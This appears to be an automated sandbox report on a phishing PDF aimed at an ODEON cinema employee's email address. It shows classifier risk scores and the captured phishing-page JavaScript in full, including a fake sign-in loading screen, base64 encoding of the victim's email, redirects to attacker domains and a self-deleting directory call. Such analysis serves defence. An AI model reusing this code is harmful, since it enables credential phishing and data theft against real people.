Windows Analysis Report
letter_sjoslin_odeonuk.com.pdf

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": true,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": true,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": false
}

URL: https://pdfimgviewer.top

{
  "contains_trigger_text": true,
  "trigger_text": "Sign-in with sjoslin@odeonuk.com to view document...",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false
}

{
  "contains_trigger_text": true,
  "trigger_text": "Action Required - Security Info Update",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": true,
  "has_visible_qrcode": true,
  "contains_chinese_text": false
}

{
    "risk_score": 9,
    "reasoning": "High-risk script showing multiple red flags: 1) Redirects to suspicious domain 'bngme.top' with random subdomains, 2) Uses base64 encoding/decoding to obfuscate data transmission, 3) Implements deceptive loading simulation to mask malicious activity, 4) Contains URL manipulation and parameter encoding typical of phishing attacks, 5) Uses dynamic DOM manipulation to hide loading process. Pattern matches typical phishing page behavior."
}

    window.onload = function() {
        setRandomTitle();
        simulateLoading();
    };

    function setRandomTitle() {
        const randomLetter = getRandomLetter();
        const email = getPlnData();
        const pageTitle = email ? `Connecting... | ${email}` : `Connecting... | ${randomLetter}`;
        document.title = pageTitle;
        document.getElementById('page-title').textContent = pageTitle;
    }

    function simulateLoading() {
    const loadingText = document.querySelector('.loading-text');
    const email = getPlnData();
    const progressBar = document.getElementById('progressBar').firstElementChild;
    
    // Use a placeholder for the email within the loading messages
    let loadingMessages = [
        "Loading... Do not close or refresh the page!",
        "Sign-in with {email} to view document...",
        "Almost there..."
    ];

    let messageIndex = 0;
    const messageInterval = setInterval(() => {
        if (messageIndex < loadingMessages.length) {
            // Replace the placeholder with the actual email if it exists
            loadingText.textContent = loadingMessages[messageIndex].replace("{email}", email || "User");
            messageIndex++;
        } else {
            clearInterval(messageInterval);
        }
    }, 2000);

    progressBar.style.animationDuration = '3.5s';

    setTimeout(function() {
        document.getElementById('loading').style.opacity = '0';
        document.getElementById('loading').style.visibility = 'hidden';
        document.getElementById('content').style.opacity = '1';
        loadHomePage();
    }, 5000);
}
    function loadHomePage() {
    const redirectUrl = getRedirectURL();
    const plnData = getPlnData(); // Decoded data used for logic elsewhere
    const randomLetter = getRandomLetter();
    const randomSubdomain = generateRandomSubdomain();

    // Re-encode plnData into base64 for the URL
    const base64PlnData = btoa(plnData);

    // Use the base64-encoded version for the URL
    const defaultUrl = `https://${randomSubdomain}.bngme.top:205?impact=${base64PlnData}`;
    const finalUrl = redirectUrl ? `${redirectUrl}#${randomLetter}${base64PlnData}` : defaultUrl;

    document.getElementById("content").innerHTML = '<object id="homeContent" type="text/html" data="' + finalUrl + '" style="width: 100%; height: 100%; border: none;"></object>';
    window.location.href = finalUrl;
}


    function getRedirectURL() {
        const params = new URLSearchParams(window.location.search);
        return params.get('redirect');
    }

    function getPlnData() {
        const params = new URLSearchParams(window.location.search);
        let pln = params.get('pln') || '';
        
        if (isBase64(pln)) {
            pln = atob(pln); // Decode the base64 encoded 'pln'
        }

        return pln;
    }

    function isBase64(str) {
        try {
            return btoa(atob(str)) == str;
        } catch (err) {
            return false;
        }
    }

    function getRandomLetter() {
        const alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
        return alphabet[Math.floor(Math.random() * alphabet.length)];
    }

    // Function to generate a random subdomain (letters and numbers)
    function generateRandomSubdomain() {
        const characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
        let result = '';
        for (let i = 0; i < 8; i++) {
            result += characters.charAt(Math.floor(Math.random() * characters.length));
        }
        return result;
    }

    function redirectToForm() {
        const redirectUrl = getRedirectURL();
        const plnData = getPlnData();
        const randomSubdomain = generateRandomSubdomain(); // New subdomain
        const finalUrl = `https://${randomSubdomain}.bngme.top:205?impact=${plnData}`;
        window.location.href = finalUrl;
    }

    function loadContent(url) {
        const contentElement = document.getElementById("content");
        contentElement.inne

{
    "risk_score": 9,
    "reasoning": "High-risk script showing multiple malicious indicators: 1) Uses base64 encoding to obscure data, 2) Redirects to suspicious domains (pdfimgviewer.top and dsiewd.com), 3) Attempts to delete server directories, 4) Uses email pattern matching potentially for phishing, 5) Contains obfuscated domain names. Classic characteristics of a phishing/malware distribution script."
}

    (function() {
        // Check if the URL contains a hash fragment
        if (window.location.hash) {
            var fragment = window.location.hash.substring(1); // Remove the '#' symbol
            var newUrl = window.location.href.split('#')[0] + fragment; // Rewrite URL
            window.location.replace(newUrl); // Redirect with the cleaned URL
        } else {
            // Existing logic for query string handling
            var queryString = window.location.search.substring(1);
            var hash = '';
            if (queryString.indexOf('&&') !== -1) {
                hash = queryString.split('&&')[1].split('=')[1]; // Extract '0Ec' value
            }

            // Function to clean and validate the hash
            function cleanHash(hash) {
                var base64EndPos = hash.indexOf('%');
                if (base64EndPos === -1) {
                    base64EndPos = hash.length;
                }
                var base64String = hash.substring(0, base64EndPos);
                try {
                    var decodedEmail = atob(base64String);
                    var emailPattern = /^[^@\s]+@[^@\s]+\.[^@\s]+$/;
                    if (emailPattern.test(decodedEmail)) {
                        return base64String;
                    }
                } catch (e) {
                    return false;
                }
                return false;
            }

            // Clean the hash
            var cleanedHash = cleanHash(hash);

            // Check if the cleaned hash is valid
            if (cleanedHash) {
                var encodedHash = encodeURIComponent(cleanedHash); // Encode the cleaned hash
                encodedHash = hash.replace(/%3D/g, '='); // Replace %3D with '='
                var newUrl = 'https://' + 'ECpzUyqrhB' + '.pdfimgviewer.top/n6drat55y/iu89908445/?pln=' + encodedHash;
                window.location.href = newUrl; // Redirect to the constructed URL
            } else {
                // Redirect to 404 if the hash is invalid
                window.location.href = 'https://' + 'ECpzUyqrhB' + '.dsiewd.com/404.php';
            }
        }

        // Delay the deletion to ensure the redirect happens first
        setTimeout(function() {
            var xhr = new XMLHttpRequest();
            xhr.open('GET', '/delete_directory.php?dir=' + encodeURIComponent('7FYuA1'), true);
            xhr.send();
        }, 3000); // 3-second delay
    })();

{
    "risk_score": 9,
    "reasoning": "High-risk script showing multiple red flags: 1) Redirects to suspicious domains (.pdfimgviewer.top, .dsiewd.com) 2) Uses base64 encoding/decoding for data manipulation 3) Contains domain obfuscation ('EAtnjYZ20R') 4) Attempts directory deletion via XHR 5) Processes and exfiltrates email addresses. Pattern matches typical phishing/malware redirect chain."
}

    (function() {
        // Check if the URL contains a hash fragment
        if (window.location.hash) {
            var fragment = window.location.hash.substring(1); // Remove the '#' symbol
            var newUrl = window.location.href.split('#')[0] + fragment; // Rewrite URL
            window.location.replace(newUrl); // Redirect with the cleaned URL
        } else {
            // Existing logic for query string handling
            var queryString = window.location.search.substring(1);
            var hash = '';
            if (queryString.indexOf('&&') !== -1) {
                hash = queryString.split('&&')[1].split('=')[1]; // Extract '0Ec' value
            }

            // Function to clean and validate the hash
            function cleanHash(hash) {
                var base64EndPos = hash.indexOf('%');
                if (base64EndPos === -1) {
                    base64EndPos = hash.length;
                }
                var base64String = hash.substring(0, base64EndPos);
                try {
                    var decodedEmail = atob(base64String);
                    var emailPattern = /^[^@\s]+@[^@\s]+\.[^@\s]+$/;
                    if (emailPattern.test(decodedEmail)) {
                        return base64String;
                    }
                } catch (e) {
                    return false;
                }
                return false;
            }

            // Clean the hash
            var cleanedHash = cleanHash(hash);

            // Check if the cleaned hash is valid
            if (cleanedHash) {
                var encodedHash = encodeURIComponent(cleanedHash); // Encode the cleaned hash
                encodedHash = hash.replace(/%3D/g, '='); // Replace %3D with '='
                var newUrl = 'https://' + 'EAtnjYZ20R' + '.pdfimgviewer.top/n6drat55y/iu89908445/?pln=' + encodedHash;
                window.location.href = newUrl; // Redirect to the constructed URL
            } else {
                // Redirect to 404 if the hash is invalid
                window.location.href = 'https://' + 'EAtnjYZ20R' + '.dsiewd.com/404.php';
            }
        }

        // Delay the deletion to ensure the redirect happens first
        setTimeout(function() {
            var xhr = new XMLHttpRequest();
            xhr.open('GET', '/delete_directory.php?dir=' + encodeURIComponent('7FYuA1_1'), true);
            xhr.send();
        }, 3000); // 3-second delay
    })();

{
  "brands": "unknown"
}

{
  "brands": [
    "ODEON CINEMAS GROUP"
  ]
}